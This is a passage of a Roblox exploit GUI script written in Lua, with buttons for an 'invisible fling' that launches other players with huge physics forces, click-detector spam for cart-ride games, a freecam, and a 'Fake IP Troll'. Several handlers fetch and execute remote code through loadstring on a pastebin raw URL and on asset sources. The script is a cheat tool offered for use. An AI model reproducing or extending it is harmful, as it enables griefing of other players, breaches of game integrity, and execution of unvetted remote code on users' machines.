Frame.Text = ("(%s) [%s]: %s"):format(tostring(Dist),


Sender.Name, Message)
Frame.User.Text = ("(%s) [%s]:"):format(tostring(Dist),
Sender.Name)
Frame.User.TextColor3 = Color
Frame.BackgroundColor3 = Color
Frame.Parent = LocalFrame

delay(60, function()
Frame:Destroy()
end)
end

local function OnNewChat(Message, Sender, Color)


if not ChatHUD or not ChatHUD.Parent then return end

NewGlobal(Message, Sender, Color)

local Distance = GetPlayerDistance(Sender)

if Distance and Distance <= ChatLocalRange then


NewLocal(Message, Sender, Color, Distance)
end
end

local function OnPlayerAdded(Player)


if not ChatHUD or not ChatHUD.Parent then return end

local Color = BrickColor.Random().Color

Player.Chatted:Connect(function(Message)
OnNewChat(Message, Player, Color)
end)
end

Players.PlayerAdded:Connect(OnPlayerAdded)

for _, Player in pairs(Players:GetPlayers()) do


OnPlayerAdded(Player)
end

--

local ChatPart = ChatHUD.Part

ChatHUD.Adornee = ChatPart

if VRReady then
ChatHUD.Parent = game:GetService("CoreGui")
ChatHUD.Enabled = true
ChatHUD.AlwaysOnTop = true

local OnInput =
UserInputService.InputBegan:Connect(function(Input, Processed)
if not Processed then
if Input.KeyCode == Enum.KeyCode.ButtonX then
ChatHUD.Enabled = not ChatHUD.Enabled
end
end
end)

local RenderStepped = RunService.RenderStepped:Connect(function()


local LeftHand =
VRService:GetUserCFrame(Enum.UserCFrame.LeftHand)

ChatPart.CFrame = Camera.CFrame * LeftHand


end)

local CharacterAdded

CharacterAdded = Client.CharacterAdded:Connect(function()
OnInput:Disconnect()
RenderStepped:Disconnect()
CharacterAdded:Disconnect()

ChatHUD:Destroy()
ChatHUD = nil
end)
end

wait(9e9)
end;

ViewHUDFunc = function()
--[[
Variables
--]]

local ViewportRange = ViewportRange or 32

local UserInputService = game:GetService("UserInputService")


local RunService = game:GetService("RunService")

local VRService = game:GetService("VRService")


local VRReady = VRService.VREnabled

local Players = game:GetService("Players")


local Client = Players.LocalPlayer
local Mouse = Client:GetMouse()

local Camera = workspace.CurrentCamera


local CameraPort = Camera.CFrame

local ViewHUD = script:FindFirstChild("ViewHUD") or


game:GetObjects("rbxassetid://4480405425")[1]
local Viewport = ViewHUD.Viewport
local Viewcam = Instance.new("Camera")
local ViewPart = ViewHUD.Part

ViewHUD.Parent = game:GetService("CoreGui")

Viewcam.Parent = Viewport
Viewcam.CameraType = Enum.CameraType.Scriptable
Viewport.CurrentCamera = Viewcam
Viewport.BackgroundTransparency = 1
--[[
Code
--]]

local function Clone(Character)


local Arc = Character.Archivable
local Clone;

Character.Archivable = true
Clone = Character:Clone()
Character.Archivable = Arc

return Clone
end

local function GetPart(Name, Parent, Descendants)


for i = 1, #Descendants do
local Part = Descendants[i]

if Part.Name == Name and Part.Parent.Name == Parent then


return Part
end
end
end

local function OnPlayerAdded(Player)


if not ViewHUD or not ViewHUD.Parent then return end

local function CharacterAdded(Character)


if not ViewHUD or not ViewHUD.Parent then return end

Character:WaitForChild("Head")
Character:WaitForChild("Humanoid")

wait(3)

local FakeChar = Clone(Character)


local Root = FakeChar:FindFirstChild("HumanoidRootPart") or
FakeChar:FindFirstChild("Head")
local RenderConnection;

local Descendants = FakeChar:GetDescendants()


local RealDescendants = Character:GetDescendants()
local Correspondents = {};

FakeChar.Humanoid.DisplayDistanceType = "None"

for i = 1, #Descendants do
local Part = Descendants[i]
local Real = Part:IsA("BasePart") and
GetPart(Part.Name, Part.Parent.Name, RealDescendants)

if Part:IsA("BasePart") and Real then


Part.Anchored = true
Part:BreakJoints()

if Part.Parent:IsA("Accessory") then
Part.Transparency = 0
end

table.insert(Correspondents, {Part, Real})


end
end

RenderConnection =
RunService.RenderStepped:Connect(function()
if not Character or not Character.Parent then
RenderConnection:Disconnect()
FakeChar:Destroy()

return
end

if (Root and (Root.Position -


Camera.CFrame.p).Magnitude <= ViewportRange) or Player == Client or not Root then
for i = 1, #Correspondents do
local Part, Real =
unpack(Correspondents[i])

if Part and Real and Part.Parent and


Real.Parent then
Part.CFrame = Real.CFrame
elseif Part.Parent and not Real.Parent
then
Part:Destroy()
end
end
end
end)

FakeChar.Parent = Viewcam
end

Player.CharacterAdded:Connect(CharacterAdded)

if Player.Character then
spawn(function()
CharacterAdded(Player.Character)
end)
end
end

local PlayerAdded = Players.PlayerAdded:Connect(OnPlayerAdded)

for _, Player in pairs(Players:GetPlayers()) do


OnPlayerAdded(Player)
end

ViewPart.Size = Vector3.new()

if VRReady then
Viewport.Position = UDim2.new(.62, 0, .89, 0)
Viewport.Size = UDim2.new(.3, 0, .3, 0)
Viewport.AnchorPoint = Vector2.new(.5, 1)
else
Viewport.Size = UDim2.new(0.3, 0, 0.3, 0)
end
local RenderStepped = RunService.RenderStepped:Connect(function()
local Render = Camera.CFrame
local Scale = Camera.ViewportSize

if VRReady then
Render = Render *
VRService:GetUserCFrame(Enum.UserCFrame.Head)
end

CameraPort = CFrame.new(Render.p + Vector3.new(5, 2, 0),


Render.p)

Viewport.Camera.CFrame = CameraPort

ViewPart.CFrame = Render * CFrame.new(0, 0, -16)

ViewHUD.Size = UDim2.new(0, Scale.X - 6, 0, Scale.Y - 6)


end)

--

local CharacterAdded

CharacterAdded = Client.CharacterAdded:Connect(function()
RenderStepped:Disconnect()
CharacterAdded:Disconnect()
PlayerAdded:Disconnect()

ViewHUD:Destroy()
ViewHUD = nil
end)

wait(9e9)
end;

Script()

wait(2)

local Players = game:GetService("Players")


local lp = Players.LocalPlayer
local character = lp.Character
local A0LL = Instance.new("Attachment", character["Left Leg"])
A0LL.Position = Vector3.new(0, 1, 0)
local A1LL = Instance.new("Attachment", character["Torso"])
A1LL.Position = Vector3.new(-0.5, -1, 0)
local socket1 = Instance.new("BallSocketConstraint", character["Left Leg"])
socket1.Attachment0 = A0LL
socket1.Attachment1 = A1LL
local A0RL = Instance.new("Attachment", character["Right Leg"])
A0RL.Position = Vector3.new(0, 1, 0)
local A1RL = Instance.new("Attachment", character["Torso"])
A1RL.Position = Vector3.new(0.5, -1, 0)
local socket2 = Instance.new("BallSocketConstraint", character["Right Leg"])
socket2.Attachment0 = A0RL
socket2.Attachment1 = A1RL
local A0H = Instance.new("Attachment", character["Head"])
A0H.Position = Vector3.new(0, -0.5, 0)
local A1H = Instance.new("Attachment", character["Torso"])
A1H.Position = Vector3.new(0, 1, 0)
local socket5 = Instance.new("BallSocketConstraint", character["Head"])
socket5.Attachment0 = A0H
socket5.Attachment1 = A1H
loadstring(game:HttpGet("https://pastebin.com/raw/Byd1PdHn",true))()
-----------------------------------------------------------
wait(9e9)
end)

invisfling.Name = "invisfling"
invisfling.Parent = Frame
invisfling.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
invisfling.BackgroundTransparency = 0.900
invisfling.BorderColor3 = Color3.fromRGB(100, 173, 111)
invisfling.BorderSizePixel = 0
invisfling.Position = UDim2.new(0.0787409693, 0, 0.303153634, 0)
invisfling.Size = UDim2.new(0, 266, 0, 27)
invisfling.Font = Enum.Font.GothamSemibold
invisfling.Text = "Invis Fling (Z)"
invisfling.TextColor3 = Color3.fromRGB(0, 0, 0)
invisfling.TextSize = 15.000
invisfling.MouseButton1Down:connect(function()

spawn(function()
local message = Instance.new("Message",workspace)
message.Text = "Loaded press z to execute inviseble , press x to
respawn)"
wait(0.5)
message:Destroy()
end)

local mouse = game.Players.LocalPlayer:GetMouse()

local groot = nil

mouse.KeyDown:connect(function(k)

if k == "z" then

spawn(function()
local message = Instance.new("Message",workspace)
message.Text = "Fe Invisible Fling By Diemiers#4209 Loaded
(wait 11 seconds to load)"
wait(11)
message:Destroy()
end)

local ch = game.Players.LocalPlayer.Character
local prt=Instance.new("Model", workspace)
local z1 = Instance.new("Part", prt)
z1.Name="Torso"
z1.CanCollide = false
z1.Anchored = true
local z2 =Instance.new("Part", prt)
z2.Name="Head"
z2.Anchored = true
z2.CanCollide = false
local z3 =Instance.new("Humanoid", prt)
z3.Name="Humanoid"
z1.Position = Vector3.new(0,9999,0)
z2.Position = Vector3.new(0,9991,0)
game.Players.LocalPlayer.Character=prt
wait(5)
game.Players.LocalPlayer.Character=ch
wait(6)

local plr = game.Players.LocalPlayer


mouse = plr:GetMouse()

local Hum = Instance.new("Humanoid")


Hum.Parent = game.Players.LocalPlayer.Character

local root = game.Players.LocalPlayer.Character.HumanoidRootPart

for i,v in pairs(plr.Character:GetChildren()) do

if v ~= root and v.Name ~= "Humanoid" then

v:Destroy()

end

end

workspace.CurrentCamera.CameraSubject = root

local se = Instance.new("SelectionBox",root)
se.Adornee = root

game:GetService('RunService').Stepped:connect(function()

game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
end)
game:GetService('RunService').RenderStepped:connect(function()

game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
end)

power = 999999 -- change this to make it more or less powerful

power = power*10
---
wait(.1)
local bambam = Instance.new("BodyThrust")
bambam.Parent =
game.Players.LocalPlayer.Character.HumanoidRootPart
bambam.Force = Vector3.new(power,0,power)
bambam.Location =
game.Players.LocalPlayer.Character.HumanoidRootPart.Position

local plr = game.Players.LocalPlayer


local torso = root
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 120
local speed = 15

---local bambam = Instance.new("BodyThrust")


---bambam.Parent = torso
--bambam.Force = Vector3.new(9999999,0,9999999)
--bambam.Location = torso.Position

---
groot = root

function Fly()
local bg = Instance.new("BodyGyro", torso)
bg.P = 9e4
bg.maxTorque = Vector3.new(0, 0, 0)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
repeat wait()

if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then


speed = speed+.2
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b
~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0
then
bv.velocity =
((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) +
((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,
(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l,
r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b)
== 0 and speed ~= 0 then
bv.velocity =
((game.Workspace.CurrentCamera.CoordinateFrame.lookVector *
(lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame *
CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) -
game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0.1,0)
end

until not flying


ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()

end
mouse.KeyDown:connect(function(key)
if key:lower() == "e" then
if flying then flying = false
else
flying = true
Fly()
end
elseif key:lower() == "w" then
ctrl.f = 1
elseif key:lower() == "s" then
ctrl.b = -1
elseif key:lower() == "a" then
ctrl.l = -1
elseif key:lower() == "d" then
ctrl.r = 1
end
end)
mouse.KeyUp:connect(function(key)
if key:lower() == "w" then
ctrl.f = 0
elseif key:lower() == "s" then
ctrl.b = 0
elseif key:lower() == "a" then
ctrl.l = 0
elseif key:lower() == "d" then
ctrl.r = 0
elseif key:lower() == "r" then

end
end)
Fly()

elseif k == "x" then


spawn(function()
local message = Instance.new("Message",workspace)
message.Text = "Respawning dont spam"
wait(1)
message:Destroy()
end)

local saved = groot.Position

local ch = game.Players.LocalPlayer.Character
local prt=Instance.new("Model", workspace)
local z1 = Instance.new("Part", prt)
z1.Name="Torso"
z1.CanCollide = false
z1.Anchored = true
local z2 =Instance.new("Part", prt)
z2.Name="Head"
z2.Anchored = true
z2.CanCollide = false
local z3 =Instance.new("Humanoid", prt)
z3.Name="Humanoid"
z1.Position = Vector3.new(0,9999,0)
z2.Position = Vector3.new(0,9991,0)
game.Players.LocalPlayer.Character=prt
wait(5)
game.Players.LocalPlayer.Character=ch
local poop = nil
repeat wait() poop =
game.Players.LocalPlayer.Character:FindFirstChild("Head") until poop ~= nil
wait(1)

game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(saved)

end

end)
end)
cartride.Name = "cartride"
cartride.Parent = Frame
cartride.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
cartride.BackgroundTransparency = 0.900
cartride.BorderColor3 = Color3.fromRGB(100, 173, 111)
cartride.BorderSizePixel = 0
cartride.Position = UDim2.new(0.0787409693, 0, 0.388590336, 0)
cartride.Size = UDim2.new(0, 266, 0, 27)
cartride.Font = Enum.Font.GothamSemibold
cartride.Text = "Cart Ride Spam (OP)"
cartride.TextColor3 = Color3.fromRGB(0, 0, 0)
cartride.TextSize = 15.000
cartride.MouseButton1Down:connect(function()
for i, v in pairs(workspace:GetDescendants()) do
if v.Parent.Name == "Up" and v.ClassName == "ClickDetector" then
spawn(function()
while true do
wait()
if v then
fireclickdetector(v)
else
break;
end
end
end)
elseif v.Parent.Name == "On" and v.ClassName == "ClickDetector" then
if v.Parent.BrickColor ~= BrickColor.new("Dark green") then
fireclickdetector(v)
end

v.Parent:GetPropertyChangedSignal("BrickColor"):Connect(function()
if v.Parent.BrickColor ~= BrickColor.new("Dark green") then
fireclickdetector(v)
end
end)
end
end

workspace.DescendantAdded:Connect(function(descendant)
if descendant.Parent.Name == "Up" and descendant.ClassName ==
"ClickDetector" then
spawn(function()
while true do
wait()
if descendant then
fireclickdetector(descendant)
else
break;
end
end
end)
elseif descendant.Parent.Name == "On" and descendant.ClassName ==
"ClickDetector" then
if descendant.Parent.BrickColor ~= BrickColor.new("Dark green")
then
fireclickdetector(descendant)
end

descendant.Parent:GetPropertyChangedSignal("BrickColor"):Connect(function()
if descendant.Parent.BrickColor ~= BrickColor.new("Dark
green") then
fireclickdetector(descendant)
end
end)
end
end)
end)
credits.Name = "credits"
credits.Parent = Frame
credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
credits.BackgroundTransparency = 0.900
credits.BorderColor3 = Color3.fromRGB(100, 173, 111)
credits.BorderSizePixel = 0
credits.Position = UDim2.new(0.0755864084, 0, 0.852172077, 0)
credits.Size = UDim2.new(0, 266, 0, 46)
credits.Font = Enum.Font.GothamSemibold
credits.Text = "Gui made by ItsMoth / gerald #1234"
credits.TextColor3 = Color3.fromRGB(0, 0, 0)
credits.TextSize = 15.000

psyhub.Name = "psyhub"
psyhub.Parent = Frame
psyhub.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
psyhub.BackgroundTransparency = 0.900
psyhub.BorderColor3 = Color3.fromRGB(100, 173, 111)
psyhub.BorderSizePixel = 0
psyhub.Position = UDim2.new(0.0755863935, 0, 0.480898023, 0)
psyhub.Size = UDim2.new(0, 266, 0, 27)
psyhub.Font = Enum.Font.GothamSemibold
psyhub.Text = "Psy Hub"
psyhub.TextColor3 = Color3.fromRGB(0, 0, 0)
psyhub.TextSize = 15.000
psyhub.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://3014051754")[1].Source)()
end)
freecam.Name = "freecam"
freecam.Parent = Frame
freecam.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
freecam.BackgroundTransparency = 0.900
freecam.BorderColor3 = Color3.fromRGB(100, 173, 111)
freecam.BorderSizePixel = 0
freecam.Position = UDim2.new(0.0755863935, 0, 0.568077505, 0)
freecam.Size = UDim2.new(0, 266, 0, 27)
freecam.Font = Enum.Font.GothamSemibold
freecam.Text = "Free Cam (Shift + P)"
freecam.TextColor3 = Color3.fromRGB(0, 0, 0)
freecam.TextSize = 15.000
freecam.MouseButton1Down:connect(function()
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
LocalScript0 = Instance.new("LocalScript")
LocalScript0.Name = "FreeCamera"
LocalScript0.Parent = mas
table.insert(cors,sandbox(LocalScript0,function()
-----------------------------------------------------------------------
-- Freecam
-- Cinematic free camera for spectating and video production.
-----------------------------------------------------------------------
-

local pi = math.pi
local abs = math.abs
local clamp = math.clamp
local exp = math.exp
local rad = math.rad
local sign = math.sign
local sqrt = math.sqrt
local tan = math.tan

local ContextActionService = game:GetService("ContextActionService")


local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local StarterGui = game:GetService("StarterGui")
local UserInputService = game:GetService("UserInputService")

local LocalPlayer = Players.LocalPlayer


if not LocalPlayer then
Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
LocalPlayer = Players.LocalPlayer
end

local Camera = workspace.CurrentCamera


workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
local newCamera = workspace.CurrentCamera
if newCamera then
Camera = newCamera
end
end)

-----------------------------------------------------------------------
-

local TOGGLE_INPUT_PRIORITY = Enum.ContextActionPriority.Low.Value


local INPUT_PRIORITY = Enum.ContextActionPriority.High.Value
local FREECAM_MACRO_KB = {Enum.KeyCode.LeftShift, Enum.KeyCode.P}

local NAV_GAIN = Vector3.new(1, 1, 1)*64


local PAN_GAIN = Vector2.new(0.75, 1)*8
local FOV_GAIN = 300

local PITCH_LIMIT = rad(90)

local VEL_STIFFNESS = 1.5


local PAN_STIFFNESS = 1.0
local FOV_STIFFNESS = 4.0

-----------------------------------------------------------------------
-

local Spring = {} do
Spring.__index = Spring

function Spring.new(freq, pos)


local self = setmetatable({}, Spring)
self.f = freq
self.p = pos
self.v = pos*0
return self
end

function Spring:Update(dt, goal)


local f = self.f*2*pi
local p0 = self.p
local v0 = self.v

local offset = goal - p0


local decay = exp(-f*dt)

local p1 = goal + (v0*dt - offset*(f*dt + 1))*decay


local v1 = (f*dt*(offset*f - v0) + v0)*decay

self.p = p1
self.v = v1

return p1
end

function Spring:Reset(pos)
self.p = pos
self.v = pos*0
end
end

-----------------------------------------------------------------------
-

local cameraPos = Vector3.new()


local cameraRot = Vector2.new()
local cameraFov = 0

local velSpring = Spring.new(VEL_STIFFNESS, Vector3.new())


local panSpring = Spring.new(PAN_STIFFNESS, Vector2.new())
local fovSpring = Spring.new(FOV_STIFFNESS, 0)

-----------------------------------------------------------------------
-

local Input = {} do
local thumbstickCurve do
local K_CURVATURE = 2.0
local K_DEADZONE = 0.15

local function fCurve(x)


return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) -
1)
end

local function fDeadzone(x)


return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE))
end

function thumbstickCurve(x)
return sign(x)*clamp(fDeadzone(abs(x)), 0, 1)
end
end

local gamepad = {
ButtonX = 0,
ButtonY = 0,
DPadDown = 0,
DPadUp = 0,
ButtonL2 = 0,
ButtonR2 = 0,
Thumbstick1 = Vector2.new(),
Thumbstick2 = Vector2.new(),
}

local keyboard = {
W = 0,
A = 0,
S = 0,
D = 0,
E = 0,
Q = 0,
U = 0,
H = 0,
J = 0,
K = 0,
I = 0,
Y = 0,
Up = 0,
Down = 0,
LeftShift = 0,
RightShift = 0,
}

local mouse = {
Delta = Vector2.new(),
MouseWheel = 0,
}

local NAV_GAMEPAD_SPEED = Vector3.new(1, 1, 1)


local NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
local PAN_MOUSE_SPEED = Vector2.new(1, 1)*(pi/64)
local PAN_GAMEPAD_SPEED = Vector2.new(1, 1)*(pi/8)
local FOV_WHEEL_SPEED = 1.0
local FOV_GAMEPAD_SPEED = 0.25
local NAV_ADJ_SPEED = 0.75
local NAV_SHIFT_MUL = 0.25

local navSpeed = 1

function Input.Vel(dt)
navSpeed = clamp(navSpeed + dt*(keyboard.Up -
keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4)

local kGamepad = Vector3.new(


thumbstickCurve(gamepad.Thumbstick1.x),
thumbstickCurve(gamepad.ButtonR2) -
thumbstickCurve(gamepad.ButtonL2),
thumbstickCurve(-gamepad.Thumbstick1.y)
)*NAV_GAMEPAD_SPEED

local kKeyboard = Vector3.new(


keyboard.D - keyboard.A + keyboard.K - keyboard.H,
keyboard.E - keyboard.Q + keyboard.I - keyboard.Y,
keyboard.S - keyboard.W + keyboard.J - keyboard.U
)*NAV_KEYBOARD_SPEED

local shift =
UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) or
UserInputService:IsKeyDown(Enum.KeyCode.RightShift)

return (kGamepad + kKeyboard)*(navSpeed*(shift and


NAV_SHIFT_MUL or 1))
end

function Input.Pan(dt)
local kGamepad = Vector2.new(
thumbstickCurve(gamepad.Thumbstick2.y),
thumbstickCurve(-gamepad.Thumbstick2.x)
)*PAN_GAMEPAD_SPEED
local kMouse = mouse.Delta*PAN_MOUSE_SPEED
mouse.Delta = Vector2.new()
return kGamepad + kMouse
end

function Input.Fov(dt)
local kGamepad = (gamepad.ButtonX -
gamepad.ButtonY)*FOV_GAMEPAD_SPEED
local kMouse = mouse.MouseWheel*FOV_WHEEL_SPEED
mouse.MouseWheel = 0
return kGamepad + kMouse
end

do
local function Keypress(action, state, input)
keyboard[input.KeyCode.Name] = state ==
Enum.UserInputState.Begin and 1 or 0
return Enum.ContextActionResult.Sink
end

local function GpButton(action, state, input)


gamepad[input.KeyCode.Name] = state ==
Enum.UserInputState.Begin and 1 or 0
return Enum.ContextActionResult.Sink
end

local function MousePan(action, state, input)


local delta = input.Delta
mouse.Delta = Vector2.new(-delta.y, -delta.x)
return Enum.ContextActionResult.Sink
end

local function Thumb(action, state, input)


gamepad[input.KeyCode.Name] = input.Position
return Enum.ContextActionResult.Sink
end

local function Trigger(action, state, input)


gamepad[input.KeyCode.Name] = input.Position.z
return Enum.ContextActionResult.Sink
end

local function MouseWheel(action, state, input)


mouse[input.UserInputType.Name] = -input.Position.z
return Enum.ContextActionResult.Sink
end
local function Zero(t)
for k, v in pairs(t) do
t[k] = v*0
end
end

function Input.StartCapture()

ContextActionService:BindActionAtPriority("FreecamKeyboard", Keypress, false,


INPUT_PRIORITY,
Enum.KeyCode.W, Enum.KeyCode.U,
Enum.KeyCode.A, Enum.KeyCode.H,
Enum.KeyCode.S, Enum.KeyCode.J,
Enum.KeyCode.D, Enum.KeyCode.K,
Enum.KeyCode.E, Enum.KeyCode.I,
Enum.KeyCode.Q, Enum.KeyCode.Y,
Enum.KeyCode.Up, Enum.KeyCode.Down
)

ContextActionService:BindActionAtPriority("FreecamMousePan",
MousePan, false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement)

ContextActionService:BindActionAtPriority("FreecamMouseWheel",
MouseWheel, false, INPUT_PRIORITY, Enum.UserInputType.MouseWheel)

ContextActionService:BindActionAtPriority("FreecamGamepadButton",
GpButton, false, INPUT_PRIORITY, Enum.KeyCode.ButtonX, Enum.KeyCode.ButtonY)

ContextActionService:BindActionAtPriority("FreecamGamepadTrigger",
Trigger, false, INPUT_PRIORITY, Enum.KeyCode.ButtonR2, Enum.KeyCode.ButtonL2)

ContextActionService:BindActionAtPriority("FreecamGamepadThumbstick", Thumb,
false, INPUT_PRIORITY, Enum.KeyCode.Thumbstick1, Enum.KeyCode.Thumbstick2)
end

function Input.StopCapture()
navSpeed = 1
Zero(gamepad)
Zero(keyboard)
Zero(mouse)
ContextActionService:UnbindAction("FreecamKeyboard")
ContextActionService:UnbindAction("FreecamMousePan")

ContextActionService:UnbindAction("FreecamMouseWheel")

ContextActionService:UnbindAction("FreecamGamepadButton")

ContextActionService:UnbindAction("FreecamGamepadTrigger")

ContextActionService:UnbindAction("FreecamGamepadThumbstick")
end
end
end

local function GetFocusDistance(cameraFrame)


local znear = 0.1
local viewport = Camera.ViewportSize
local projy = 2*tan(cameraFov/2)
local projx = viewport.x/viewport.y*projy
local fx = cameraFrame.rightVector
local fy = cameraFrame.upVector
local fz = cameraFrame.lookVector

local minVect = Vector3.new()


local minDist = 512

for x = 0, 1, 0.5 do
for y = 0, 1, 0.5 do
local cx = (x - 0.5)*projx
local cy = (y - 0.5)*projy
local offset = fx*cx - fy*cy + fz
local origin = cameraFrame.p + offset*znear
local part, hit =
workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist))
local dist = (hit - origin).magnitude
if minDist > dist then
minDist = dist
minVect = offset.unit
end
end
end

return fz:Dot(minVect)*minDist
end

-----------------------------------------------------------------------
-

local function StepFreecam(dt)


local vel = velSpring:Update(dt, Input.Vel(dt))
local pan = panSpring:Update(dt, Input.Pan(dt))
local fov = fovSpring:Update(dt, Input.Fov(dt))

local zoomFactor = sqrt(tan(rad(70/2))/tan(rad(cameraFov/2)))

cameraFov = clamp(cameraFov + fov*FOV_GAIN*(dt/zoomFactor), 1,


120)
cameraRot = cameraRot + pan*PAN_GAIN*(dt/zoomFactor)
cameraRot = Vector2.new(clamp(cameraRot.x, -PITCH_LIMIT,
PITCH_LIMIT), cameraRot.y%(2*pi))

local cameraCFrame =
CFrame.new(cameraPos)*CFrame.fromOrientation(cameraRot.x, cameraRot.y,
0)*CFrame.new(vel*NAV_GAIN*dt)
cameraPos = cameraCFrame.p

Camera.CFrame = cameraCFrame
Camera.Focus = cameraCFrame*CFrame.new(0, 0,
-GetFocusDistance(cameraCFrame))
Camera.FieldOfView = cameraFov
end

-----------------------------------------------------------------------
-

local PlayerState = {} do
local mouseIconEnabled
local cameraSubject
local cameraType
local cameraFocus
local cameraCFrame
local cameraFieldOfView
local screenGuis = {}
local coreGuis = {
Backpack = true,
Chat = true,
Health = true,
PlayerList = true,
}
local setCores = {
BadgesNotificationsActive = true,
PointsNotificationsActive = true,
}

-- Save state and set up for freecam


function PlayerState.Push()
for name in pairs(coreGuis) do
coreGuis[name] =
StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType[name])
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType[name],
false)
end
for name in pairs(setCores) do
setCores[name] = StarterGui:GetCore(name)
StarterGui:SetCore(name, false)
end
local playergui =
LocalPlayer:FindFirstChildOfClass("PlayerGui")
if playergui then
for _, gui in pairs(playergui:GetChildren()) do
if gui:IsA("ScreenGui") and gui.Enabled then
screenGuis[#screenGuis + 1] = gui
gui.Enabled = false
end
end
end

cameraFieldOfView = Camera.FieldOfView
Camera.FieldOfView = 70

cameraType = Camera.CameraType
Camera.CameraType = Enum.CameraType.Custom

cameraSubject = Camera.CameraSubject
Camera.CameraSubject = nil

cameraCFrame = Camera.CFrame
cameraFocus = Camera.Focus

mouseIconEnabled = UserInputService.MouseIconEnabled
UserInputService.MouseIconEnabled = false

mouseBehavior = UserInputService.MouseBehavior
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end

-- Restore state
function PlayerState.Pop()
for name, isEnabled in pairs(coreGuis) do
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType[name],
isEnabled)
end
for name, isEnabled in pairs(setCores) do
StarterGui:SetCore(name, isEnabled)
end
for _, gui in pairs(screenGuis) do
if gui.Parent then
gui.Enabled = true
end
end

Camera.FieldOfView = cameraFieldOfView
cameraFieldOfView = nil

Camera.CameraType = cameraType
cameraType = nil

Camera.CameraSubject = cameraSubject
cameraSubject = nil

Camera.CFrame = cameraCFrame
cameraCFrame = nil

Camera.Focus = cameraFocus
cameraFocus = nil

UserInputService.MouseIconEnabled = mouseIconEnabled
mouseIconEnabled = nil

UserInputService.MouseBehavior = mouseBehavior
mouseBehavior = nil
end
end

local function StartFreecam()


local cameraCFrame = Camera.CFrame
cameraRot = Vector2.new(cameraCFrame:toEulerAnglesYXZ())
cameraPos = cameraCFrame.p
cameraFov = Camera.FieldOfView

velSpring:Reset(Vector3.new())
panSpring:Reset(Vector2.new())
fovSpring:Reset(0)

PlayerState.Push()
RunService:BindToRenderStep("Freecam",
Enum.RenderPriority.Camera.Value, StepFreecam)
Input.StartCapture()
end

local function StopFreecam()


Input.StopCapture()
RunService:UnbindFromRenderStep("Freecam")
PlayerState.Pop()
end
-----------------------------------------------------------------------
-

do
local enabled = false

local function ToggleFreecam()


if enabled then
StopFreecam()
else
StartFreecam()
end
enabled = not enabled
end

local function CheckMacro(macro)


for i = 1, #macro - 1 do
if not UserInputService:IsKeyDown(macro[i]) then
return
end
end
ToggleFreecam()
end

local function HandleActivationInput(action, state, input)


if state == Enum.UserInputState.Begin then
if input.KeyCode ==
FREECAM_MACRO_KB[#FREECAM_MACRO_KB] then
CheckMacro(FREECAM_MACRO_KB)
end
end
return Enum.ContextActionResult.Pass
end

ContextActionService:BindActionAtPriority("FreecamToggle",
HandleActivationInput, false, TOGGLE_INPUT_PRIORITY,
FREECAM_MACRO_KB[#FREECAM_MACRO_KB])
end
end))
for i,v in pairs(mas:GetChildren()) do
v.Parent = game:GetService("Players").LocalPlayer.PlayerGui
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
end)

fakeip.Name = "fakeip"
fakeip.Parent = Frame
fakeip.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
fakeip.BackgroundTransparency = 0.900
fakeip.BorderColor3 = Color3.fromRGB(100, 173, 111)
fakeip.BorderSizePixel = 0
fakeip.Position = UDim2.new(0.0755863935, 0, 0.660385191, 0)
fakeip.Size = UDim2.new(0, 266, 0, 27)
fakeip.Font = Enum.Font.GothamSemibold
fakeip.Text = "Fake IP Troll"
